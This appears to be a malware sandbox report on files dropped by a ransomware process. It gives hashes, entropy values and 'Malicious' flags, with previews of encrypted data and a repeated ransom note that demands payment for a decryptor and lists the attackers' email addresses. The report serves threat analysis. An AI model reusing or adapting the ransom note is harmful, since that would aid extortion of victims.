                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):131338
                                                                                                                                                                Entropy (8bit):0.5078927229086945
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:9PP1thqAb6CBj5YcP6+lPS7+zQDvYz+/9uvenmtgFbV8snOh:931VxOcS+lPW+MzY+6enHFKh
                                                                                                                                                                MD5:2A87EC8CC4F150530D1CE811B4A981DE
                                                                                                                                                                SHA1:031D54FA1F1592858EC70A41AD5E057501D2AF7D
                                                                                                                                                                SHA-256:F623FED96DA90F77B5C2A734F316E0A587C3F1D2173BFBF29E1D9C6B79D6073F
                                                                                                                                                                SHA-512:2D044580A30EBCC4E8D6C19F06FA6EC79C6F4A63A593EEE5CAB9603D9C164A0F149B782239BA305761275D109BFEF70C4224D68C731272FF688D5C7D565CECCE
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:+tIN..D....bvL."T..<.c.....%.;.q?;KO.*..V......\t..~.Jd4Y%1...L9...#p.-5DR....GN.Eo..E....y.Hb..r..HU.y...0..v...-.~..p.V.X.`9..r..v....}..t .7.0...h.1...~._Ei..y...!.i.p"o...2..{.....w.YQ....=..S..a...h.|..>.(B.uS...m!....#.Aw7/..<.A..I.v.H.h.....+Ga~EH.Y...s.U......./.Z\....!X..v*.+Dy.15.}..DG/B...[A...b-)}..U..J.]1......y1...p....*......|."".Kl..cN........./...#..Az....Z....{....8C...x&.Am.nf.H1.Z....3.R.7.aC(..J.y.....X...l..._.......h...9](.h<......r.s....y.$.cW`.Fo..J......Z.Q.].l..E.)6.../...Y.O...o.1C@7.........W")....#4...Q....7-.......q2...7..%..8..iF...f;.*c.v.../..S2.._.......x..S9..R...8mi*.JD1......c..c...q..T...."..!...&.k.<..&x..E1?4b9{..tOB..Xv....:.\=..qgVNC.g.......".4.j..R...^.O.iW..k.J.l..m/...Q.h7.^...e..n*.,....L.o..c..~.a..K-..L...L.._...8z......?.d.....L...}.a*...Wf....&..,G0..$.z.......Z....y....S.*../.T.r....'...Nu....7....,..(....<X.ub.....x....u.B.k.....iz.l.....v.`%..P.K....:;yn.;..<..E.O...B..S?)9L.V..
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):131338
                                                                                                                                                                Entropy (8bit):0.5078927229086945
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:9PP1thqAb6CBj5YcP6+lPS7+zQDvYz+/9uvenmtgFbV8snOh:931VxOcS+lPW+MzY+6enHFKh
                                                                                                                                                                MD5:2A87EC8CC4F150530D1CE811B4A981DE
                                                                                                                                                                SHA1:031D54FA1F1592858EC70A41AD5E057501D2AF7D
                                                                                                                                                                SHA-256:F623FED96DA90F77B5C2A734F316E0A587C3F1D2173BFBF29E1D9C6B79D6073F
                                                                                                                                                                SHA-512:2D044580A30EBCC4E8D6C19F06FA6EC79C6F4A63A593EEE5CAB9603D9C164A0F149B782239BA305761275D109BFEF70C4224D68C731272FF688D5C7D565CECCE
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:+tIN..D....bvL."T..<.c.....%.;.q?;KO.*..V......\t..~.Jd4Y%1...L9...#p.-5DR....GN.Eo..E....y.Hb..r..HU.y...0..v...-.~..p.V.X.`9..r..v....}..t .7.0...h.1...~._Ei..y...!.i.p"o...2..{.....w.YQ....=..S..a...h.|..>.(B.uS...m!....#.Aw7/..<.A..I.v.H.h.....+Ga~EH.Y...s.U......./.Z\....!X..v*.+Dy.15.}..DG/B...[A...b-)}..U..J.]1......y1...p....*......|."".Kl..cN........./...#..Az....Z....{....8C...x&.Am.nf.H1.Z....3.R.7.aC(..J.y.....X...l..._.......h...9](.h<......r.s....y.$.cW`.Fo..J......Z.Q.].l..E.)6.../...Y.O...o.1C@7.........W")....#4...Q....7-.......q2...7..%..8..iF...f;.*c.v.../..S2.._.......x..S9..R...8mi*.JD1......c..c...q..T...."..!...&.k.<..&x..E1?4b9{..tOB..Xv....:.\=..qgVNC.g.......".4.j..R...^.O.iW..k.J.l..m/...Q.h7.^...e..n*.,....L.o..c..~.a..K-..L...L.._...8z......?.d.....L...}.a*...Wf....&..,G0..$.z.......Z....y....S.*../.T.r....'...Nu....7....,..(....<X.ub.....x....u.B.k.....iz.l.....v.`%..P.K....:;yn.;..<..E.O...B..S?)9L.V..
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):302
                                                                                                                                                                Entropy (8bit):7.334193088681687
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:exYgz+6ZjBlfZPh+rsquXQgiCAaeAIlLYv3hHAZgZJIBsV/0kI0Hn:exYsBlfT+wFiRa8lkvhtLWKn
                                                                                                                                                                MD5:0F699648311F32437D3ECF27201D720C
                                                                                                                                                                SHA1:6DA6513939017872369291251E4612E38884A2F3
                                                                                                                                                                SHA-256:2F14B13A2B69EE017F4B104F4A80EB9C84607A4C8B243002A53D467088B29179
                                                                                                                                                                SHA-512:21CC1C4C633974223083A49223B6C28E47F1A72A6E360F966EA0EB130FB2E5B8939FE1DD644E18FB3273C504EFFA4709254CC20C56BCD62F12D56736C37BDF24
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.....?i1^&..gx.....K..b..s.?..~.ome.DVO)..!_........:..L....A..XrM...^{...nwg.2...d.YP/....F"T...u.3>.^#...,Z.mo..f4.AF..Y%..B...>5E..SH.Q&..~.K ..k.2.Fmn.......0.vB.]..|Z..V6.+.$l.]\.>.e._..KOb.. .....k..hE..=..+*_............l......-f*Z..o7.l.>+/v...u...w.V.......fI....0Q...c;0..0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):302
                                                                                                                                                                Entropy (8bit):7.334193088681687
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:exYgz+6ZjBlfZPh+rsquXQgiCAaeAIlLYv3hHAZgZJIBsV/0kI0Hn:exYsBlfT+wFiRa8lkvhtLWKn
                                                                                                                                                                MD5:0F699648311F32437D3ECF27201D720C
                                                                                                                                                                SHA1:6DA6513939017872369291251E4612E38884A2F3
                                                                                                                                                                SHA-256:2F14B13A2B69EE017F4B104F4A80EB9C84607A4C8B243002A53D467088B29179
                                                                                                                                                                SHA-512:21CC1C4C633974223083A49223B6C28E47F1A72A6E360F966EA0EB130FB2E5B8939FE1DD644E18FB3273C504EFFA4709254CC20C56BCD62F12D56736C37BDF24
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.....?i1^&..gx.....K..b..s.?..~.ome.DVO)..!_........:..L....A..XrM...^{...nwg.2...d.YP/....F"T...u.3>.^#...,Z.mo..f4.AF..Y%..B...>5E..SH.Q&..~.K ..k.2.Fmn.......0.vB.]..|Z..V6.+.$l.]\.>.e._..KOb.. .....k..hE..=..+*_............l......-f*Z..o7.l.>+/v...u...w.V.......fI....0Q...c;0..0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):49418
                                                                                                                                                                Entropy (8bit):1.1555693784754568
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:O6JRPmoOf2utLQRO2wRH8lv3yAFyNnSIDGATF0Tm46e14QD:O2+J2utFRHqfJyBSPATF2JFH
                                                                                                                                                                MD5:8E2E7ED67F86B28D5EE026AB7D9CF84D
                                                                                                                                                                SHA1:E7DA187E63706DF63A0D5A223CAA937115699F4F
                                                                                                                                                                SHA-256:5B044B77C29E78B584FFE8E40827C70753B2BCAAF1128EA60350D934768DD460
                                                                                                                                                                SHA-512:4605B8F79A714281C707ABC3942E0370E091A7BE16BB8BD1229CA2502081DD25ECCB892D5B1847DC67C086AD010E9A51D3181FF1AC4681D7B31AB34B711AC505
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:w1).'hJ............X.}.....?.........8..q..;n..y...N.1n}...F.u.(s.K..)E.di.E.(.b$F.B.=...@S.....7...._...J..f|d.....m.)......I..9$..3C..+...2.l"..Y.,.....P.n...].4W.e..a3y.+.....i..q.8..E....xR.||.VX.TX.}.7...._I..P.+n-.`.... .T.....w3.+4..h...t.K..9.O..{.....U...;..Wh.7........q.-.K6H.4..kV.=$...S.........a,...nW.....u....Rbe.Mv[.N.|32....*.X.Z..7....s..Zz....N..>.2Lh..W_...Y.@...6...{..f$.wS.~..K%M!.....yw..0.s..o.}F..N..2.KBy..dI.....FTp(.9.\..fC8..P.....<"....../a....r..Q..}.n....#.@?...7...uu*.CsQ........]I..DNk..FG.....b.2~.a.".d..B....h...$5..@....3...I..s.bl...W...&..(.....0<.jj..D..e".....t..;..|.B.N7....q..y|l.L/.1...5'.y.(...\.'.gT>..E. .A..Or.Z......'xZT.n..'^g....h......W......".F..8.../..|ko..Q....uk..r%*..+.....x.Y..#1.-.....9..E..(<..l.s..i... J{...E..:L-+$o.`.'X._..G...;U......!l[.i.>.q...?F!.........(.y^..>^v.......l.?.=.n.....xFy^S32..Z..2.A.Z..#Uk.Nof.w.E..-.W|A..t.U...f......X.6...`k..>....$j...)&....a.Y...._J.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):33034
                                                                                                                                                                Entropy (8bit):1.6049359783013835
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:k9zXJg2Le2egW25yV2wyrtTGtZNkePIT0cFaj10iIq:yRugWbkHdIzwTHc1Kq
                                                                                                                                                                MD5:0BF1CAE96B32D37E2AD3942799079612
                                                                                                                                                                SHA1:2D7E423C86AC4F906A40BED98630B133D00F7BB7
                                                                                                                                                                SHA-256:820036E00531A65359E7704CF8242E6855D000CE610E5E85257D1F6F09490F13
                                                                                                                                                                SHA-512:D4468AF61C1F41D04CEAD72D58D7715F7FA3727290F3E0A527097ABEE2662C7120466FC7A8F00A45AAC0F59495003F75EFD6708E6E4FF20EB84C75F21D930E3C
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:l2.e:....A...9..m..G......yR. 5.2:..i4..W. '.2..x=...z..~..9..."..f.DO{j....)p...`]..~.....C..k(.."w...CPWn...b.*...e._.....o%"....!...a...x.$:DX....|Ar/p..(...L....r7..r..c".Ug.\...B._...h<L.P+m.........#.k.G.x.#.m&..?...(3.[.h..5.....x.YK&..V.6.Y.A.V..7.........7..ZC.JP..~v._..~...Ct..u.,z.p....+.BB.y.....k.....b.L~..P.M...0x.e_.I.K{.XT..........h.c./O.gERT.^.}.}8!o....,.s..n'.E.x....i5..T.6..!...6dI..8.D.h..no.i6..y.-n....w.......qn.N.Z.$o8o..x.;\uM.....9b4.-6.....+7..Ms..E.%...!%H.}...|.rq..DA...}........N.O..gl.t.C...!...:..$...*|n ..b...\.oJe.H>...L.N.X^.w.>.K].x.S.[?...!}..-R..P.....*...:zF]8.cp..?..(.e.-.N..B..).........{.5....w..x.. ..V@..LI..J...Pw}.@+V.G..>-x...%P.~.^...<...1.tz...}.H^.<.9..O.jUMP.X.4HT.*../f...&f.....X..z.L.....^.(]..6...'...0R..2R.0.3......x..`^...0y.....:...&k;oAz..r.|..B..s..XT.?xz..o..s..u....~.v-7.xr......P...J.i.oo8.3k.....l2.M.O..=...WX..q.V.6!......B^..U.\.*.3.\K.d.H.a.l.q...Y....4...b...w....&.5
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):33034
                                                                                                                                                                Entropy (8bit):1.6049359783013835
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:k9zXJg2Le2egW25yV2wyrtTGtZNkePIT0cFaj10iIq:yRugWbkHdIzwTHc1Kq
                                                                                                                                                                MD5:0BF1CAE96B32D37E2AD3942799079612
                                                                                                                                                                SHA1:2D7E423C86AC4F906A40BED98630B133D00F7BB7
                                                                                                                                                                SHA-256:820036E00531A65359E7704CF8242E6855D000CE610E5E85257D1F6F09490F13
                                                                                                                                                                SHA-512:D4468AF61C1F41D04CEAD72D58D7715F7FA3727290F3E0A527097ABEE2662C7120466FC7A8F00A45AAC0F59495003F75EFD6708E6E4FF20EB84C75F21D930E3C
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:l2.e:....A...9..m..G......yR. 5.2:..i4..W. '.2..x=...z..~..9..."..f.DO{j....)p...`]..~.....C..k(.."w...CPWn...b.*...e._.....o%"....!...a...x.$:DX....|Ar/p..(...L....r7..r..c".Ug.\...B._...h<L.P+m.........#.k.G.x.#.m&..?...(3.[.h..5.....x.YK&..V.6.Y.A.V..7.........7..ZC.JP..~v._..~...Ct..u.,z.p....+.BB.y.....k.....b.L~..P.M...0x.e_.I.K{.XT..........h.c./O.gERT.^.}.}8!o....,.s..n'.E.x....i5..T.6..!...6dI..8.D.h..no.i6..y.-n....w.......qn.N.Z.$o8o..x.;\uM.....9b4.-6.....+7..Ms..E.%...!%H.}...|.rq..DA...}........N.O..gl.t.C...!...:..$...*|n ..b...\.oJe.H>...L.N.X^.w.>.K].x.S.[?...!}..-R..P.....*...:zF]8.cp..?..(.e.-.N..B..).........{.5....w..x.. ..V@..LI..J...Pw}.@+V.G..>-x...%P.~.^...<...1.tz...}.H^.<.9..O.jUMP.X.4HT.*../f...&f.....X..z.L.....^.(]..6...'...0R..2R.0.3......x..`^...0y.....:...&k;oAz..r.|..B..s..XT.?xz..o..s..u....~.v-7.xr......P...J.i.oo8.3k.....l2.M.O..=...WX..q.V.6!......B^..U.\.*.3.\K.d.H.a.l.q...Y....4...b...w....&.5
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):292
                                                                                                                                                                Entropy (8bit):7.1733613534423
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:N25Iu6KvV/eXW9OLKFh3ys+m7y/vrbAJIfAdgYdjkfBJEf2AHn:Nev7d2msL8ye7kkqfAqkjCfE+AHn
                                                                                                                                                                MD5:B13BED09021C423F825E4D0D15A1D576
                                                                                                                                                                SHA1:F6C4C686E833EEE4BAB958CCAED82D7D335E5A0F
                                                                                                                                                                SHA-256:38B1151CF06A359FAF59BFA82EF4C32EBDC8707FB707CB5F58C789111A704B7F
                                                                                                                                                                SHA-512:DD069529E5CEF269598424CDFA2A54B682F44AD3A6D3C8EA6D06F29EF9745E7A6F50D0A24B0BD575756BB4E3FA4C72A2D9A2140678A2609B7F931C4CE4D9810A
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:Q'...7..1.7\.@..............N..{Y...nh..s~..dG..^F.g.f./~........E.%..b..N$....4..o....+.T...2%*QE..?..5]...H...f...`.).W+.Q...U`....@....RF.....?..(t..&.WP4..t........,....F./D.#...;....i..Q,..E....QE..n........%x.63...(...r$J.....L......m...b6.........K......V0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):49418
                                                                                                                                                                Entropy (8bit):1.1555693784754568
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:O6JRPmoOf2utLQRO2wRH8lv3yAFyNnSIDGATF0Tm46e14QD:O2+J2utFRHqfJyBSPATF2JFH
                                                                                                                                                                MD5:8E2E7ED67F86B28D5EE026AB7D9CF84D
                                                                                                                                                                SHA1:E7DA187E63706DF63A0D5A223CAA937115699F4F
                                                                                                                                                                SHA-256:5B044B77C29E78B584FFE8E40827C70753B2BCAAF1128EA60350D934768DD460
                                                                                                                                                                SHA-512:4605B8F79A714281C707ABC3942E0370E091A7BE16BB8BD1229CA2502081DD25ECCB892D5B1847DC67C086AD010E9A51D3181FF1AC4681D7B31AB34B711AC505
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:w1).'hJ............X.}.....?.........8..q..;n..y...N.1n}...F.u.(s.K..)E.di.E.(.b$F.B.=...@S.....7...._...J..f|d.....m.)......I..9$..3C..+...2.l"..Y.,.....P.n...].4W.e..a3y.+.....i..q.8..E....xR.||.VX.TX.}.7...._I..P.+n-.`.... .T.....w3.+4..h...t.K..9.O..{.....U...;..Wh.7........q.-.K6H.4..kV.=$...S.........a,...nW.....u....Rbe.Mv[.N.|32....*.X.Z..7....s..Zz....N..>.2Lh..W_...Y.@...6...{..f$.wS.~..K%M!.....yw..0.s..o.}F..N..2.KBy..dI.....FTp(.9.\..fC8..P.....<"....../a....r..Q..}.n....#.@?...7...uu*.CsQ........]I..DNk..FG.....b.2~.a.".d..B....h...$5..@....3...I..s.bl...W...&..(.....0<.jj..D..e".....t..;..|.B.N7....q..y|l.L/.1...5'.y.(...\.'.gT>..E. .A..Or.Z......'xZT.n..'^g....h......W......".F..8.../..|ko..Q....uk..r%*..+.....x.Y..#1.-.....9..E..(<..l.s..i... J{...E..:L-+$o.`.'X._..G...;U......!l[.i.>.q...?F!.........(.y^..>^v.......l.?.=.n.....xFy^S32..Z..2.A.Z..#Uk.Nof.w.E..-.W|A..t.U...f......X.6...`k..>....$j...)&....a.Y...._J.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):49418
                                                                                                                                                                Entropy (8bit):1.1694905842572396
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:3At4+mEAZ+CFJIFDrd57UT6WoVj/9PLZiOxzZJaKx7:w6EOXIZh57UFK9fv7
                                                                                                                                                                MD5:245B5BAA103AACD554AA0B9902A724FF
                                                                                                                                                                SHA1:BDC9FC6F5E909F506E8CDB92835765B9689C4CFF
                                                                                                                                                                SHA-256:6BB3FDD4352AA0DEBE54F62D5F92B034A7C255DEE804BB1C3DEF1A203A141671
                                                                                                                                                                SHA-512:EACBAD2F21C8B9D6B3E75E681DCE44B5AFA1A4874BD6F277023D63C56AF9F18FDE899BB189EF6BF775C61EA26802FD9BC619499887C041FE41E8218671CE7742
                                                                                                                                                                Malicious:true
